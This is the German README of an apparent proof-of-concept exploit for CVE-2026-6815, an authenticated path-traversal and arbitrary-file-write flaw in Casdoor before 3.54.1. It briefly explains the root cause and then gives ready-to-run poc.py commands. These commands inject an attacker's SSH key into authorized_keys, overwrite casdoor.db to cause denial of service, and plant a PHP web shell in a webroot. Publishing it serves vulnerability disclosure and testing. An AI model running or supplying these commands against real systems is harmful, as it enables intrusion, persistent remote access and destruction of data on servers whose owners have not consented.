
Authentifizierter Path-Traversal- und beliebiger Datei-Schreib-PoC-Exploit für Casdoor <3.54.1, der RCE per SSH-Schlüssel-Injektion, Web-Shell-Upload oder anhaltenden DoS durch Datenbank-Korruption ermöglicht.
Dieses Repository enthält einen Proof-of-Concept (PoC)-Exploit für CVE-2026-6815, eine Schwachstelle bezüglich beliebigem Dateischreiben und Path Traversal in Casdoor.
Die Schwachstelle wurde in Version 3.54.1 behoben.
Der Angreifer muss an der Casdoor-Instanz mit Admin-Rechten oder gleichwertigen Benutzerrechten authentifiziert sein, die Zugriff zum Erstellen und/oder Bearbeiten von Storage-Providern haben.
.ssh/authorized_keys, Crontabs oder Webroots.casdoor.db) oder Kern-Binärdateien mit beliebigen Dateien, wodurch die Anwendung sofort gestoppt wird.Casdoor erlaubt Administratoren die Konfiguration von Storage-Providern. Der Local File System-Provider bereinigt die pathPrefix-Konfiguration und den Parameter fullFilePath bei Ressourcen-Uploads nicht ordnungsgemäß.
Durch die Verwendung von Directory-Traversal-Sequenzen (../) kann ein authentifizierter Administrator das dedizierte Speicherverzeichnis verlassen und Dateien überall dort schreiben, wo der Casdoor-Prozess Berechtigungen besitzt.
Die Schwachstelle beruht auf unzureichender Pfadvalidierung in:
object/provider.go: Keine Validierung von pathPrefix beim Erstellen/Aktualisieren.storage/local_file_system.go: Die Methode GetFullPath prüft nicht, ob der aufgelöste Pfad innerhalb der vorgesehenen Sandbox bleibt.Abhängigkeiten installieren:
pip install -r requirements.txt
Den Exploit ausführen:
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
Schreiben Sie einen vom Angreifer kontrollierten öffentlichen Schlüssel in die Datei authorized_keys des Benutzers casdoor, um SSH-Zugriff zu erhalten.
Den SSH-Schlüssel generieren:
ssh-keygen -f casdoor_rce
authorized_keys mit dem generierten öffentlichen Schlüssel überschreiben:
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
Eine SSH-Shell auf dem entfernten Host mit dem privaten Schlüssel erhalten:
ssh -i ./casdoor_rce casdoor@target
Überschreiben Sie die lokale Datenbankdatei der Anwendung (z. B. casdoor.db), um einen Denial of Service zu verursachen.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
Wenn der Server auf demselben Dateisystem einen sekundären Webserver (z. B. Apache/Nginx) betreibt, schreiben Sie eine Web-Shell in dessen Dokumentenroot.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
Wenn Sie administrative Anmeldeinformationen für eine bestimmte Organisation und Anwendung (andere als die Standardwerte built-in und app-built-in) besitzen, geben Sie diese mit --orgname und --appname an.
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
Diese Software dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests. Der Autor ist nicht für die missbräuchliche Verwendung dieser Informationen verantwortlich.
Schwachstelle entdeckt und PoC entwickelt von Danilo Dell'Orco (sixpain).